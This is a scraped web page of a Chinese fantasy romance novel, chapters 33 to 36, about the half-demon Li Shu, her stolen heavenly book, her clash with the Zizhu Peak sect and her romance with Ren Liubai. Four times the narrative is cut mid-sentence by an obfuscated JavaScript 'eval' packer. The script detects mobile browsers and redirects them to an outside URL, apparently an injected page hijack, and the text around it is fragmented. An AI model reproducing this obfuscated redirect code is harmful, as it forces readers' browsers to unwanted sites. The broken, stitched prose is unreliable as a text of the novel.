付剑心浑身僵硬,仿佛有座大山压在她的肩上,这种感觉——“你给我贴了千斤符?” “没错。” “你!”真意气得发懵,每当她对李恕有一丝改观,李恕接下来的举动就会戳破她的幻想,现在竟然还对付剑心下手,这是她绝对不能容忍的事情,“你真卑鄙!” 李恕道了声多谢夸奖,抽走天书收进怀里。付剑心受制于她,紫竹峰不敢轻举妄动,她要顾虑的是人是有缺。 “大师心善,一定不想看见付仙师身首异处吧?” 真意恨不得跟李恕同归于尽,却不得不硬着头皮求有缺:“大师,我师姐还在她手里……” 有缺点头:“贫僧明白。” “大师真是菩萨心肠。”李恕携着付剑心飞到大殿门口,缓缓扫视众人,一双双眼睛盯在她身上,都是一副怒不可遏的模样。李恕内心毫无波动,唯有看见暗河时顿了一下。 隔着人群,两人的目光短暂相接,或许是才从混沌中清醒过来,暗河的眼神有些黯淡。 片刻之后,李恕收回目光,转身奔向殿外。尽管没能如她计划的那般带暗河回魔界,但是一切跟天书比起来都不重要。她只要天书。 她才踏出一步,腕上蓦地一紧。付剑心死死抓住李恕手腕,背后的千斤符无火自燃。 李恕蹙眉:“你又用了烧丹术?” “是。”付剑心的手越收越紧,就在李恕以为她要折断自己手腕时,付剑心手上竟然燃起一层火焰。 “师姐,你学会了三昧真火诀?”真意又惊又喜,这是紫竹峰的必杀术法,真火炽烈逼人,触之即伤,连魂魄都能烧成灰烬,但是很快真意便意识到了付剑心的状态不对劲。 她手中的三昧真火与她的眼神恰似两个极端,一个热到极致,一个冷到极致。 “你不是能操控幽冥寒冰吗,为什么不用?你是害怕暴露身份,还是觉得不用也能打过我?” 李恕不语,付剑心杀意更盛:“那好,带着你的秘密下地狱吧。” 真意的欣喜消失了。在她眼里,付剑心一直都是成熟稳重的师姐,虽然话少却很照顾她们,这是她第一次看见这样的付剑心,也是她第一次没有因为付剑心展现出的实力而感到开心。 同为修士,真意心里清楚,任何超出应有实力的爆发都是在透支身体 “不对劲。”放寒山摸着下巴思忖,原本他睁一只眼闭一只眼,想着有缺都没阻止李恕带走天书,他也装傻得了,可是现在李恕明显落了下风,却还是不用幽冥寒冰,这不符合她的作风。 “暗河兄,我们……”放寒山用胳膊肘捅捅暗河,小声与他商量如何“不小心”帮李恕一把,没想到真意直接扑了过去,用力抱住付剑心。 “师姐,快停下来!不要再用烧丹术了!” 付剑心置若罔闻,李恕的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243338|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮肉在她掌下绽出可怕的烧痕。 “天书还我。” “师姐求你了快停下吧!就算被她拿走了天书,我们以后还能抢回来的!”真意心急如焚,那可是每个人都仅有一颗的金丹啊,倘若受损,付剑心这一生都无法在修为上更进一步了。 哭声落进耳中,付剑心终于有了反应,却是掰开真意搂在她腰上的手臂,一字一句,不容改变:“我绝不会再让魔族从我手中夺走任何东西。” 真意泪如雨下,她明白,父母的死是付剑心永远解不开的心结。 “可惜,我也不会让别人从我手中夺走东西。”李恕面上凝出冰霜,衬得她肤色愈发苍白。 事已至此,她已经没有别的选择,体内躁动的金丹在提醒她,时间不多,必须速战速决。幸好这里到处都是水,大殿下面还有一方寒潭。 李恕脚下用力,水波以她为中心向四周扩散。付剑心警铃大作,提醒同门退开,然而幽冥寒冰的速度比她更快,瞬间便冻住了整座大殿。 周遭死一般的寂静,不仅殿中的人,连空气都好像被冻住了。 李恕口鼻流血,几乎站立不住,灵力在她体内横冲直撞,让她隐隐生出被撕裂的错觉。 必须、必须赶紧离开这里……李恕随手抹了一把唇边的血,跌跌撞撞走向殿外。 盗墓贼和幻幻都在外面,不清楚里面发生了什么,看见李恕出来,盗墓贼赶紧嗷嗷乞求李恕放了他们。 幻幻只看了一眼便脸色大变,李恕很不对劲,她的魔气强烈到幻幻根本不敢靠近,明明在这之前李恕从没泄露过一丝魔气。 “你。”李恕指向高个子盗墓贼,冰刃一闪,斩断了绑住他的捆仙绳,“把遁地鼠拿出来。” 高个子没想到李恕真的放了自己,一边答应一边去解伙伴身上的绳子,忽感脖颈一凉,李恕把冰刃贴上他的动脉,只要稍微用力,马上就能让他血溅三尺。 “立刻离开这里。” “好!好……我马上走。”高个子大气也不敢出,从怀里掏出遁地鼠变大,咔嚓咔嚓的声音响了起来,遁地鼠速度飞快,几口下去地上便出现一个大洞,李恕把高个子盗墓贼踹进洞里,跟着跳了下去。 直到李恕走远,幻幻才敢抬头,第一时间奔向大殿,还没进去就在门口感受到一股刺骨寒意,冻得他打了个哆嗦。 进去之后,幻幻彻底呆住了,大殿里面全是人形冰雕,栩栩如生到连他们眼里的恐惧都一清二楚。 “放寒山?放寒山!”幻幻心脏狂跳,用力敲打冰层,可是幽冥寒冰比石头还硬,没有一丝松动的迹象。 幻幻忍不住哭了起来:“放寒山,你没死就回答我一声,对不起,对不起我以后再也不骂你了,你别死啊……” 寂静的大殿里只有幻幻的哭声,不知过了多久,他忽然听到一声轻微的爆裂。 33. 失衡 人可结金丹,魔可生魔核,若是一个人体内既有金丹又有魔核会如何? 李恕席地而坐,闭目调息。她生下来体内便有一颗魔核,那是九阴的血脉赋予她的,只是在她十三岁以前魔核从未有过一丝波动,李问心猜测可能是因为李恕体内还有一半人族的血,她的魔核不纯。 如此想着,李问心暗暗有些庆幸,至少这样李恕还能以人族身份生活——尽管现在两人被关在紫竹峰后山,李问心依然希望有朝一日李恕能够自由自在长大。 沉璧来看李问心时只给了她一个选择:杀了李恕,她和九阴的事情可以既往不咎,让她继续做紫竹峰首席弟子。 李问心拒绝了:“我犯的错我自己承担,孩子是无辜的。” “就凭她父亲是九阴,她就不可能无辜。” “可是……九阴已经死了。” “这些话你敢去那七座坟墓前说吗?” 七座坟墓,埋葬了紫竹峰七名长老,他们都是看着李问心长大的人,却在半神山晶石矿中惨死于九阴之手。 李问心低下头,沉璧对她教导用心,态度严厉,甚少流露温情,反倒是那七名长老一直把她当女儿看待,疼爱有加,在沉璧反对李问心外出游历时一致支持她出去见见世面。 李问心私下称他们为叔父,事实上,沉璧才是真正与她血脉相连的亲人。 沉璧是她的姨母。 李问心的亲生母亲姓李名沉影,与沉璧是一对双生姊妹,两人一同拜入紫竹峰,一同修行,感情甚笃。 后来沉影与紫竹峰前任掌门丹阳子结为道侣,恩爱非常,乃是一对人人称羡的神仙眷侣。不想造化弄人,沉影早产血崩,等到丹阳子外出归来,只见到了沉影的尸体和抱着李问心的沉璧。 丹阳子痛失爱妻,郁结于心,尽管他很想亲近女儿,可是一看见李问心他便会想起沉影,继而忍不住后悔,若是当初不要这个孩子就好了…… 丹阳子知道自己的想法不对,却又无法控制自己。他不敢再看女儿,襁褓中的李问心便一直由沉璧照顾,丹阳子则通过不停外出猎魔麻痹自己。 李问心将满周岁,丹阳子本该回来看她,结果回来的只有他在猎魔时不慎殒命的噩耗。 不久之后,沉璧成为紫竹峰新任掌门,她不再以姨母的身份照顾李问心,而是将她收作弟子严加教导。 一干长老对此颇有微词,一来沉璧虽然是掌门夫人的胞妹,但是沉影与丹阳子已逝,沉璧说到底就是个外人;二来沉璧年纪轻资历浅,门内比她德高望重的长老少说也有十几人,掌门之位怎么也不该轮到她。 沉璧年轻归年轻,面对质问一点儿都不慌乱。她先是拿出一份丹阳子留下的密信,信中丹阳子请求沉璧以掌门的身份护佑李问心周全,又当众放话若是有谁认为她不配,尽可前来一较高下。 密信被人翻来覆去研究,确实是丹阳子的手笔,众人气也没有办法。不过既然沉璧放话可以找她单挑,不服气的人自然不会错过这个机会。 出乎意料的是,竟然没有一人能够打过沉璧,明明拜入紫竹峰时沉影才是天资出众的那个,丹阳子是看在沉影的面子上才把沉璧也收了进来,结果沉璧现在居然变得这么厉害? 经此一事,部分长老仍旧看不起沉璧,带着座下弟子离开紫竹峰自立门户,另一部分长老则念着与丹阳子的交情,选择留下来教导李问心,打算等到李问心长大之后再将掌门之位交还给她,死去的那七名长老便是后者。 得知李问心结交魔族,先赶到半神山的几名长老暴跳如雷,放话李问心想和九阴在一起,除非他们死了!剩下几名长老更是星夜赶来,所有人态度一致,非我族类其心必异,要么杀了九阴,要么李问心发誓与他再也不见。 师恩在上,李问心不得不退了一步,让九阴先离开。沉璧单独见她,只问李问心是否真的和九阴断了。李问心不语,沉璧拂袖而去。 一个月后晶石矿正式开采,却不想那日利用魔音惑人心智的魔族卷土重来,伺机偷袭。 一起的来的还有九阴。 等李问心从伤中醒来,便得知七名长老全都死了——被九阴用幽冥寒冰活活冻成了齑粉。 李问心不信,可是进入矿洞的每个人都能作证,那绝对是幽冥寒冰,除了九阴,再无人能操控。 沉璧命令李问心禁足思过,对外宣布不惜一切代价诛杀魔尊九阴。四大宗门原本作壁上观,直到九阴试图打破大结界——并且他差一点就做到了。 李问心依然不信九阴会做这种事情,她避开沉璧,私下约九阴在奔雷台见面,想要当面问个清楚。 九阴毫不掩饰他的罪行:“是我。我不喜欢他们。” 他的语气十分随意,仿佛只是在话本子中看见了一个不喜欢的故事,于是随手把那一页撕掉了。 为什么不喜欢?因为长老们强烈反对反对自己与他在一起,还是九阴根本没把人命放在眼里?李问心痛苦地想,或许魔族的底色既不是善,也不是恶,而是残忍。 就在这个时候,奔雷台的法阵启动了。原来沉璧早就知道李问心的动向,五大宗门也知道,他们设下法阵,联手将九阴诛杀在奔雷台,代价是青石寺前任主持陨落,玄隐门前任掌门重伤,其他修士死伤不计其数。 李问心浑浑噩噩回了宗门,这才发现她已有身孕。明明她服用过避子丹,唯一的解释只有魔族体质特殊,避子丹没起作用。 那段日子很漫长,又很短暂,最后变得模糊。李问心把孩子生了下来。 她给孩子取名李恕,“恕”什么,她也不知道。 “你好好想想吧,不要让我对你一而再再而三失望。”沉璧下了最后通牒,走到门口又停下脚步,侧目看向身后沉默不语的李问心——她原本最器重的弟子,“不要忘了你的身份。” 李问心很痛苦,她没办法面对沉璧,没办法面对死去的七名长老,甚至没办法面对咿呀学语的李恕。 最后李问心终于做了决定,她带着李恕离开了紫竹峰。 李问心走后,沉璧说到做到,公开宣布她已叛出师门,从此是死是活都与紫竹峰再无半点关系。 消息一出李问心立刻遭到了追杀,有些人是为了报仇,九阴死了,但是九阴杀人的罪孽还没赎完,合该由李问心承受。也有人是为了杀了李恕,人魔结合生下来的混血必须斩草除根,一个九阴就让各大宗门元气大伤,绝不能放任李恕成为第二个九阴。 李问心隐藏身份,从不在一个地方久留,即便如此还是被一路追踪,不得片刻安宁。 若是只有她一人,李问心不会将追兵放在眼里,可她还要保护李恕。她不想让李恕觉得自己被人所不容,所以从不让那些修士出现在李恕面前。 有段时间李恕生病了,李问心不得不在一个无名小山村里多留了几日。此地山清水秀,人烟稀少,实乃避世佳处。 这天午后李问心隐约听见清心诀的旋律,寻着声音找过去,发现李恕坐在溪边,不知从哪里得到一支竹笛,正低头认真吹奏。 她脚边躺着一只犬妖,这是一种上不得台面的追踪手段,有些修士会控制犬妖通过气味找人。不过现在这只犬妖已经被制服了。 看见李问心,李恕赶紧放下笛子,欢快地叫了一声阿娘。 “你会吹清心诀?” 李恕眨眨眼睛:“我跟阿娘学的呀。” 她没有特意教过李恕,也就是说,李恕仅仅听她吹了几次就学会了。李问心长久地凝视李恕,李恕不明白那是什么眼神。 “阿娘不喜欢我吹吗?那我以后不吹了。” 李问心摇摇头,俯身按住李恕的肩膀:“不,你吹的很好,以后阿娘教你更多的曲子和术法好不好?” 李问心意识到李恕是一个极有天资的人,也许她不能保护李恕一辈子,但是李恕可以保护自己。 逃亡的日子对李恕来说其实并不痛苦,她是一只好奇的雏鸟,风雨都被李问心隔绝在羽翼之外。不过她还是不可避免地知道了自己的身世。那时李恕坚信她是人族,可以结丹修行,可以比那些修士做得更好。 直到李问心的死让李恕明白,人族的身份不重要,魔族的身份也不重要,能不能为她所用才重要。也是在那个时候,李恕体内的魔核开始运转。 “阿娘……”李恕默念李问心曾经教她的心诀,可是没有用,她体内的金丹与魔核无法共容,一刻不停地互相倾轧,又因为魔族恢复能力异于常人,所以她的经脉总是伤了好,好了伤,反反复复,如同酷刑。 被折磨久了,李恕终于发现一个办法,严格控制金丹与魔核的使用,让它们处在平衡状态。进入幽兰古国后李恕一直在用魔核操控幽冥寒冰,现在她体内金丹盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“李恕!”暗河顾不得警告,奔过去阻止她。怀里的人体温忽冷忽热,神色痛苦。暗河按住她的脉搏探了片刻:“你的体内有两股力量……是金丹与魔核吗?” 李恕听见耳边有人说话,但却听不清那人在说什么,这种仿佛隔着一层屏障的感觉令她烦躁。察觉到李恕气息更乱了几分,暗河忍不住将她抱紧了些:“冷静,别用金丹魔核。” 这次李恕听清了两个字,“魔核”,是那些追杀她的修士……李恕杀心顿起,一把掐住暗河的喉咙将他按在地上。 “李……恕……”暗河攥住她的手腕,窒息直冲颅顶。李恕摇了摇头,神色略略清明几分,忽然伸手揭开暗河脸上的面具。 “是你,你怎么跟过来的?”李恕认出了身下的人,他不是暗河,他是玄隐门大弟子任流白。“你想把天书抢回去吗?做梦。” 李恕双眸发亮,似喜似嗔,将暗河掐得更紧,逼得暗河不得不用手抵住她的肩膀。 “我最讨厌你们这些正道修士,你也一样!既然你主动送上门来,那就别怪我不客气。”李恕俯身咬下,鲜血的味道再一次弥漫开来,只不过这次是暗河的血。 暗河睁大眼睛,唇上疼痛,他的思绪反倒清醒起来。不是错觉,他真的亲过李恕,就像现在李恕亲他一样。 身下的人完全没有抵抗,李恕狂乱的灵力有了宣泄之处,疯狂涌入暗河体内。 许久以后,暗河终于得空喘息,其实李恕早就没掐他了,是他被亲得完全不知如何呼吸。嘴唇被咬得越疼,暗河体内越是涌起一股异样的感觉。他不仅不排斥李恕这样对他,甚至……还很喜欢。 “李恕。”暗河哑着嗓子唤了一声,没有回应。他抬眸看,这才发现李恕双眼紧闭,不知何时陷入了昏睡之中。 暗河摸摸自己的脸,烫手,如果李恕醒着,他的脸一定会更烫吧。怀着一点儿说不清道不明的庆幸,暗河轻轻抱住李恕,两人相拥躺在地上,漫天星河落在他的眼里。 “前面好像有人,过去看看。”不远处忽然传来人声,暗河瞬间清醒过来,起身护住李恕。 说话的人来得很快,发现是两个衣衫不整的男女,有人意味不明地笑了一声。 暗河羞赧不已,身体却不自觉地把李恕护得更紧,没想到来人中忽然走出一名红衣女子,面容娇俏,声音也娇俏。 “是你吗,任仙师?” 34. 流白 李恕睁开眼睛,身旁立刻有人靠了过来:“你醒了,你现在感觉怎么样?” 暗河守在床边,眼下有淡淡的乌青,一看便知没休息好。她则躺在柔软的大床上,除了有些口渴再无其他不适。 “这是哪里?”李恕坐起身,暗河给她垫了只软枕,边答话边去倒水:“这里是赤霞派,你睡了快两天了。” 李恕凝住暗河递过来的杯子:“你……都知道了?” 暗河嗯了一声,长长的睫毛垂下来遮住眼底情绪:“我叫任流白,是玄隐门修士。” 李恕哼笑一声,接过杯子送到唇边,水温不冷不热,拿来润喉刚好,只不过她的运气不怎么好。 “所以任仙师打算把我交给赤霞派还是玄隐门呢?”李恕更愿意任流白带她回玄隐门,毕竟那里离得远,路上脱身的机会更多。 任流白抬起眸子,神色有些愣怔,却有一人在他之前开口。 “你醒啦?”红衣女子欢快地跑到李恕身边,眼睛亮晶晶的,“李仙师,你现在感觉怎么样,需不需要我再请大夫来给你看看?” 李恕望着女子,没答话,女子这才反应过来,不好意思道:“忘记介绍了,我叫明如月,是赤霞派弟子,你们的事情任仙师都和我说了,虽然师尊有事不在,但你们安心在这里养伤吧。” 明如月穿的是绣了火焰纹的内门弟子服,想来身份不低,所以能安排两人住下,不过李恕很好奇任流白对她说了什么。 “多谢,给你添麻烦了。”李恕按兵不动,顺势应下。 “不麻烦,我最佩服的就是像你们这样行侠仗义的修士,能帮上忙我开心还还来不及呢!” 行侠仗义?李恕眉尾轻挑。明如月本就活泼好动,见李恕有兴趣与她说话,遂坐到床边叽叽喳喳:“师尊派人去过幽兰古国,我也想去,可惜师尊不让。李仙师,你们见到幽兰国王了吗?他长什么样子?吓人吗?” “见到了,并不吓人,他的相貌堪称英俊。” 明如月哇了一声,不自觉又向李恕靠近一些:“传言都说他宛如恶鬼,没想到竟然是个美男子,那他真的屠了自己的城?” 自从得知两人是从幽兰古国回来的,明如月就有一肚子问题想问,可惜李恕昏迷不醒,任流白不眠不休守在她身边,明如月不好意思打扰,一直忍到现在。 李恕避重就轻答了几个问题,以手扶额做出困倦之态,明如月赶紧按下好奇,依依不舍道:“是我不好,忘了你还有伤在身,那你快休息吧,我晚上再来看你。对了,你有什么想吃的吗?我阿娘说好好吃饭才能好得更快,小时候我生病了阿娘都会给我煮浮圆子,又甜又糯,特别好吃。” 明如月的眼睛忽闪忽闪的,提到她阿娘时更是熠熠生辉。李恕勉力笑笑:“我现在没什么胃口。” “好吧,那我不打扰你了。”明如月有些失落,再次嘱咐李恕好好休息,放轻脚步出了房间。 待她走后,李恕斜倚软枕看向任流白:“你没有告诉赤霞派我是魔族?” “没有。” “为什么?” 任流白抿了抿唇,李恕猜测他多半是要把自己带回玄隐门好好审问,所以才瞒着赤霞派避免节外生枝。思及此处,李恕换了个问题:“你是怎么跟明如月说的我们的事?” 她故意将“我们”二字咬得重了些,任流白的睫毛微不可察地颤了颤。 “我告诉她,我们同去幽兰古国破除诅咒,不幸负伤而归。她认得我,所有没有起疑。” 任流白也挺会避重就轻,李恕笑的戏谑:“撒谎可不好啊仙师,况且她那么信任你。” 任流白被戳中难言之处,神色不大自然,李恕本想再取笑他两句,任流白却忽然上前一步,目光灼灼盯住她:“那你又为何要骗我?” “因为,”李恕耸耸肩膀,不以为意,“我不是好人。” 任流白定在原地,又把睫毛垂下去。长久的沉默后,他问:“所以一切都是假的吗?我不是暗河,不是你的炉鼎,你也……根本不喜欢我?” 闻言,李恕心神微动,忽然意识到她可能想岔了,任流白隐瞒她的身份不是为了将她交给玄隐门,而是因为…… “我真希望一切都是假的。”李恕的情绪说变就变,眼底隐隐有泪光闪烁。 任流白果然上钩,焦急追问:“什么意思?” 李恕一言不发,唯有泪意愈发浓厚。任流白的话堵在喉咙里,伸手想要为她擦泪。李恕抓住任流白的手腕用力一扯,将他拉到面前亲了上去。 这不是两人第一次接吻,却是两人第一次都在清醒状态下接吻,相比浑身僵硬的任流白李恕放肆多了,亲完还泄愤似的在他饱满的下唇咬了一口。 “你是高高在上的正道仙师,我却是见不得光的魔族,如果不借着暗河的身份,我该怎么把你留在身边?”李恕酝酿许久的眼泪终于落了下来,“可我早该明白,你我不是一个世界的人。如果我真的不喜欢你就好了,那样我就不会伤心。” 任流白方寸大乱,羞赧顺着他的脖颈一路往上蔓延:“你……” 李恕拭去泪水:“对,与你相交时我隐瞒了身份,但却瞒不过你的师门。被追杀时你为了保护我受伤失忆,我却妄想趁着这个机会和你长相厮守,既然现在你已经知道了真相,那我也没什么好说的。” 任流白思绪混乱,表情难说是惊讶还是惊喜:“我……” 李恕转过身不看他:“至于你在不知道我身份时说的爱我、保护我、永远和我在一起,我就当作一场梦好了,夜深人静的时候再一个人回忆。” 身后的人又沉默了,李恕等了半天没动静,忍不住暗自嘀咕,难道她表演太过了,还是任流白其实已经知道了更多事情? “抱歉。”许久之后,任流白伏在床边,轻轻握住她的衣袖,“我不知道你受了这么多委屈,我还以为、以为你喜欢放统领。从前的事我虽然不记得了,但答应你的我一定会做到。” 怎么扯到放寒山了?李恕转过身来,半张脸埋在被子里,只露出一双水盈盈的眸子:“我喜欢的是你。而且我只问你一句,你心里是如何看我的?” “人有好坏,魔自然也分善恶。在我心里,你很好,即便在地下城那般绝境,你也没有真的痛下杀手。” 李恕被子下的嘴角翘了起来:“你不会骗我吧?” 任流白摇头,从怀里取出储物袋交给李恕:“这是你的东西。” 李恕伸手一摸,天书还在里面,其他东西也一样不少。 “还有一事我想知道,你收集天书是为了什么?”任流白已经知道了天书的重要性,所以他想向李恕问清楚。 “我说过了,天书是让我父母认可你的东西。” 任流白不太理解,李恕问他:“你现在打算怎么办?” “我想先送一封信去玄隐门禀明情况,等你的伤养好了我再回去。” 李恕勾住任流白的手指:“好仙师,只怕你的信第一天送到,第二天便会有人来取我性命了。” 任流白指尖蜷缩,却没把手抽走:“玄隐门既是大宗,岂会不分青红皂白?” “难道你忘了紫竹峰是怎么对我的吗?若是忘了,你大可以现在就去告诉明如月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李恕扫过明如月袖口的花纹:“再怎么说你也是赤霞派内门弟子,何必妄自菲薄。” 明如月托着下巴的手缓缓上移,不好意思地捂住脸,只露出两只眼睛:“那是因为……我爹娘很有钱。” 原来明如月的父母都非修士,而是商人,明家乃是巨贾,家中只有明如月这么一个宝贝女儿,从小就捧在手心里宠着,没让她受过一丝委屈。 按照明父明母的想法,等女儿长大了就为她招个赘婿,一家人快快乐乐生活。但是明如月对男人完全没兴趣,她想修仙。 明父明母觉得修仙完全就是虚无缥缈的事情,这世上哪有神仙,可是明如月一哭,夫妻俩马上就答应了。 两人仔细考虑了一番,既然明如月非要修仙,那必须去大宗门,小门小户的地方没有保障。五大宗门里面赤霞派以法阵出名,听起来是最安全的,而且离家也最近,所以最好去赤霞派。 现在只剩最后一个问题,宗门收徒需要考核,万一明如月过不了怎么办? 砸钱,明家最不缺的就是钱。也不知道明父明母到底给赤霞派捐了多少,最后明如月没有接受考核便被收为内门弟子,由赤霞派掌门赵灵运带在身边亲自教导。 “进了宗门我才知道什么叫人外有人,天外有天,这世上比我厉害的人实在是太多了,无论我怎么努力也比不上她一根手指。” 明如月咬住嘴唇,面上难掩失落,外面却在此时传来一声空灵悠远的鸟鸣,她的眼睛一下子又亮了起来:“师尊回来了!” 35. 旧怨 黄鹤的羽翼破开夜风,优美地落在山崖上,赤霞派掌门赵灵运下了鹤背,拂袖走向大殿。他身后跟着几名年轻弟子,个个表情严肃,一言不发。 明如月远远望见黄鹤的身影,告别李恕去见赵灵运,走到大殿外被拦了下来,门僮告诉她赵灵运正在议事,现在任何人都不能进去。 明如月依言退下候在殿外,依稀听见殿内赵灵运带着怒气的声音,心中涌起一点不好的预感。 不久前赤霞派出了一桩丑闻,门下铺子竟然售卖假阵欺骗百姓,还被人当众揭发了出来,赵灵运收到消息勃然大怒,亲自下山处理,今天才回来。 难道是事情没解决吗?明如月忍不住胡思乱想,忽然听见大殿里传出一声清脆的瓷器碎裂声,不由得惊了一下。 门僮也被声音惊到,思虑再三,好心劝她:“你找掌门有什么事吗?如果不是特别重要就改天再来吧。”说到这里门僮压低声音,“掌门回来的时候我看见他的脸色很不好。” “嗯,谢谢你告诉我这些。”明如月心里没底,加上她确实怵得慌,轻手轻脚转身离开。 没走多远,身后忽然有人叫她:“月儿。” 明如月回头一看:“罗师兄。” 罗源泽面带笑意,大步向她走来,等到两人距离拉近,明如月低声惊呼:“你受伤了!” 罗源泽的额角挂着血迹,胸前湿了一片水痕,不过他仍是一副从容不迫的姿态,丝毫没将伤势放在心上。 “不碍事。” “可是你还在流血。”明如月放心不下,掏出一方干净的帕子递过去,“要不还是去找大夫处理一下吧,万一留疤就不好了。” 罗源泽勾起唇角,将帕子连同明如月的手一起握住:“你这么关心我,会让我觉得受这个伤很值。” “啊……”明如月觉得不自在,把手抽回来背到身后擦了擦,胡乱岔开话题,“你是怎么受的伤呀?” 罗源泽拭去额角血迹,顺手将帕子收进怀里,露出苦笑:“还不是因为齐玉。” 明如月与齐玉接触不多,几乎每次都是齐玉先向她打招呼,她再回一句,然后两人就各做各的事情去了。 两人边走边聊,罗源泽幽幽道:“齐玉欺上瞒下,售卖假阵敛财,毁坏师门声誉,事情败露后又将脏水泼到我头上,幸好师尊明察秋毫还了我清白。” “齐师兄他……”明如月想起齐玉和她打招呼时的笑脸,心中五味杂陈,“我没想到,齐师兄竟然会做出这种事情。” “他走错了路,我却没有及时发现将他拉回正途,如今他畏罪潜逃,师尊生气降下责罚也是我该受的。” 罗源泽轻触额角,细微的刺痛蔓延开来,这伤,是被杯子砸的。他当然躲得开,但是他不能躲。 明如月为罗源泽感到委屈:“一人做事一人当,这件事情确实是齐师兄错了,怎么能怪到你头上?你一直都很照顾我们,已经做得很好了,千万不要自责。” 罗源泽笑的温柔:“月儿,我就知道你会懂我。” 他的眼神过分炽热,明如月又开始不舒服,只好假装低头看路,含糊应了一声。 罗源泽继续靠近,柔声问道:“你方才是有事要去找师尊吗?” “嗯。” “可惜时间不巧,师尊现在心情不好。不过若是你的事情很重要,可以告诉我,我代你转告师尊。” “那怎么好意思呢?我不能什么都麻烦你。” “没关系,能帮到你我很开心,所以是什么事情,你方便告诉我吗?” 明如月点点头:“师尊下山期间,我和同门照例每日巡防,偶然碰见了玄隐门大弟子任流白和他的同伴李恕。因为二人有伤在身,我便把他们带回来安置在红莲别院养伤了。我不知道这样做合不合适,所以想将情况如实禀告师尊。” “任流白?” “对啊,就是那位在联合试炼大会上力压群雄拔得头筹的任仙师,那日一见我便认了出来。” 说起这些事情,明如月脸上又是羡慕又是崇拜。罗源泽将她的表情尽收眼底:“既然是玄隐门,确实不可怠慢,你做的很好。不过师尊这会儿恐怕已经闭关了,不如我随你去以示关怀,想来任仙师不会拘泥虚礼。” 明如月赶紧答应下来,罗源泽在赵灵运手下做事,很受器重,既然他这么说了,那这么做肯定没错。 红莲别院环境清幽,来客常宿于此,李恕为了装病在床上躺了一天,现在才有时间出来赏景。因为坐落于山上,所以院子里温度很低,任流白取出披风递给李恕:“你身体还没好,别着凉了。” 李恕笑眯眯接了:“你不冷吗?这披风宽敞得很。”说罢展开手臂,冲任流白眨眨眼。 任流白站在原地:“这样不好。” “哪里不好,我们同享一件披风又怎么了?” “这里是……赤霞派。” 他的声音很低,李恕依然听见了,强忍笑意:“我明白了,这里是赤霞派,被人看见了你会害羞对吗?” 任流白确实在担心这种情况,李恕起身搭住他的肩膀,指尖划过他的耳垂,果然热了。 “我的好仙师,你怎么这么容易羞啊?” 任流白喉咙发紧,尚未开口,忽然听见院外传来明如月的声音:“两位仙师,我回来啦!” 说时迟那时快,任流白猛地退开一步。 明如月进了院子,只看见任流白与李恕并肩而立,两人衣袂飘飘甚是养眼——就是不知道为什么,任流白的脸特别红。 “任仙师,你怎么了?”明如月的目光绕着他转了转,“这山上也不热吧?” 李恕善心大发接过话茬,为任流白解围:“我想起来一些幽兰古国的趣事,之前忘记告诉你了,你现在还想听吗?” “真的吗?想啊!” 明如月立刻被吸引了注意力,蹦蹦跳跳到李恕身边,正想问她是什么趣事,姗姗来迟的罗源泽在此时也到了门口。 路上两人原本是一起走的,有一搭没一搭聊着天,可是罗源泽的话一句比一句亲昵,明如月怎么听怎么不自在,于是找了个借口先跑过来。现在再看见罗源泽,明如月终于想起了她最开始的目的。 “罗师兄,这就是我跟你提过的李恕李仙师,这位是任仙师。”明如月介绍完,准备再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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任流白皱起眉头,他原本还存着一丝希冀,赤霞派能够明察秋毫,处置到位,最后却是这个结果。 他想揭穿罗源泽,李恕抢先开口打断了他:“赤霞派行事果决,对待齐玉之流绝不姑息,难怪能做仙门表率。” 罗源泽略一颔首:“李仙师过誉了。” 两人短暂交锋,双双留了余地。罗源泽代表赤霞派表示慰问,让李恕只管在这里安心养伤,需要什么都可以跟他说。 李恕自然满口答应,等到两人互相演完,罗源泽一刻也不想再多留,表示不打扰李恕养伤,这便走了。 红莲别院恢复寂静,任流白凝着夜色,面容严肃:“我们要把真相公之于众。” “你还没问过我的意见呢,怎么就‘我们’上了?” “你不是这么想的吗?方才你试探他的口风,我以为你已经想好了办法。” 任流白答的认真,李恕哼笑一声,她在试探罗源泽的同时,罗源泽也在试探她,特意点明赵灵运亲自下令将齐玉逐出师门,就是为了告诉她,赵灵运已经知道了真相,并且做出了选择。 但是,李恕偏要去触这个霉头。 “可惜我也没有什么好办法,罗源泽肯定把证据都销毁了,现在唯一能做的就是去他身上找找破绽。” “我们要暗中调查他吗?” “对。” “也好,只是赤霞派占地广阔,戒备森严,我们又不清楚他的动向,怕是连找到他的住所都要费一番功夫。” 李恕笑而不语,摊开右手,一张符箓静静浮在她的掌中。 任流白面色一喜:“追踪符。” 36. 狼子 罗源泽转动铜镜,对准额角伤口。血迹已经擦干净了,即便不上药,过不了两天也会好。给受骗百姓的赔偿他出了,替罪羊齐玉他灭口了,赵灵运那边也揭过去了。 明明一切都解决了,偏偏又让他看见李恕与任流白两人。 